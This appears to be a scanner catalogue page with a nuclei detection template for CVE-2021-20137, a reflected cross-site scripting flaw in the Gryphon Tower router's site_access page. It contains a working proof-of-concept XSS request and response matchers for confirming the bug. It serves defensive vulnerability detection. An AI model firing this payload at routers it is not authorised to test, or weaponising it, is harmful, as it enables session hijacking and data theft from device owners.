Gryphon Tower - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.3%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim's browser.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1
Positive when: contains in header "text/html" AND contains "onfocus=alert(document.domain) autofocus=1>" and "Send Access Request URL" AND status 200

Run it with nuclei: nuclei -id CVE-2021-20137 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-20137

info:
  name: Gryphon Tower - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim's browser.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20137
    - https://www.tenable.com/security/research/tra-2021-51
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20137
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20137
    cwe-id: CWE-79
    epss-score: 0.02315
    epss-percentile: 0.83563
    cpe: cpe:2.3:h:gryphonconnect:gryphon_tower:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gryphonconnect
    product: gryphon_tower
  tags: cve2021,cve,xss,tenable,gryphon,gryphonconnect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - 'onfocus=alert(document.domain) autofocus=1>'
          - 'Send Access Request URL'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from